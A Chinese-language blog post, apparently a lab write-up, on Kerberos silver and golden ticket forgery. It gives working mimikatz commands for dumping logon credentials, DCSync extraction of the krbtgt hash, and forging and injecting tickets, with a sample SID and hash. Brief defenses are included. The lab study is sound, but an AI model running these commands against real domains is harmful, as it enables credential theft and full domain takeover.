基于Kerberos协议的攻击手段

作者 f0zz 日期 2022-03-10
基于Kerberos协议的攻击手段

票据攻击

白银票据与白银票据伪造

白银票据是一张伪造的服务认证票据,可以用来访问某些服务
Kerberos允许不对虚拟令牌是否有效进行双重检查,攻击者由此可以通过破解计算机的NTLM Hash创建一个虚假的认证票据,从而访问某些服务

伪造白银票据的条件和特点:
1. 不需要与密钥发放中心交互
2. 需要目标NTLM Hash
3. 比金票更难检测,因为服务和DC之间没有通信,日志都被记录在本地计算机

伪造白银票据

伪造白银票据需要掌握的信息
1. 域名
2. 域SID
3. 目标服务器的完整域名,计算机全名(同时带有主机名和域名)
4. 可利用的服务	//这里利用共享服务
5. 服务账号的NTLM Hash
6. 需要伪造的用户名

登录win7,尝试访问dc的共享文件
image.png
此时没有访问权限

  1. 登录域控,进行抓取mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" > log.txt得到域控中的共享服务账号,不是Administrator用户!
  1. 在跳板机win7上执行kerberos::golden /domain:F0ZZ.COM /sid:<sid> /target:dc1.F0ZZ.COM /service:cifs /rc4:<NTLM Hash> /user:win7 /ptt

image.png
SID指的是域SID,需要去掉最后一段表示权限的数字
可以使用whoami /user获取
target的格式是 user.domain.com

kerberos::list列出票据
image.png
理论上接下来就可以访问指定的服务
![5JB{MF1YK)~6C79F%)7I07.png
如果不能,可能是

  1. server未打开网络发现
  2. server未开启共享
  3. server无此角色或功能
    服务注释 服务名
    WMI HOST、RPCSS
    Powershell Remoteing HOST、HTTP
    WinRM HOST、HTTP
    Scheduled Tasks HOST
    LDAP 、DCSync LDAP
    Windows File Share (CIFS) CIFS
    Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS

问题1

尝试解决方法1:

尝试打开高级共享设置中的网络发现,但是每次打开后都自动关掉

要解决这个问题需要启用以下的3个服务:
1.Function Discovery Resource Publication
2.SSDP Discovery
3.UPnP Device Host

白银票据伪造的防御方法

Kerberos开启检测PAC,注册表中HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\ParametersValidateKdcPacSignature的值设置为1。

黄金票据与黄金票据伪造

krbtgt:密钥发放中心的服务账号
在Kerberos的客户端认证过程中,AS向客户端发送使用krbtgt NTLM Hash加密的Client/TGS会话密钥和TGT,这份会话密钥不会保存在KDC中。所以只要得到krbtgt NTLM Hash,就可以得到TGS密钥,从而伪造TGT和Client/TGS会话密钥,进行下一步交互。这个伪造的TGT就是黄金票据
image.png

环境模拟

先决条件
1. 域名称
2. 域sid
3. 域中krbtgt的NTLM Hash
4. 任意用户名
获取krbtgt 的NTLM Hash

使用本地dministrator用户登录域
image.png
获取域名net config workstation
image.png
获取dc主机名nltest /dsgetdc:f0zz.com
image.png
获取krbtgt NTLM Hashmimikatz.exe "lsadump::dcsync /domain:f0zz.com /user:krbtgt" "exit" > log.txt
image.png
切换到win7尝试访问
image.png
尝试生成票据

kerberos.exe "kerberos::golden /domain:f0zz.com /sid:S-1-5-21-965424497-781454039-1676480547 /rc4:ab4a6f149409cbe3d72d38a833acd7b4 /user:win7 /ptt" "exit"
/domain:<域名>
/sid:<域SID>
/rc4:<krbtgt NTLM Hash>
/user:<随便一个用户名>

image.png
成功访问!
image.png

如何防御黄金票据攻击

Krbtgt会保存上一条历史密码 ,连续两次修改krbtgt密码,使kdc保存的上一条krbtgt密码失效

对比两种票据

黄金票据 白银票据
访问权限 伪造TGT,可以获取任何Kerberos服务权限 伪造TGS,只能访问指定的服务
加密方式 由Kerberos的Hash加密 Silver Ticket由服务账号Hash加密
认证流程 需要访问域控认证,属于第二步认证 直接和服务器认,最后一步认证

Refer:
Kerberos Attack:Silver Ticket Edition
Kerberos学习笔记
彻底理解Windows认证 - 议题解读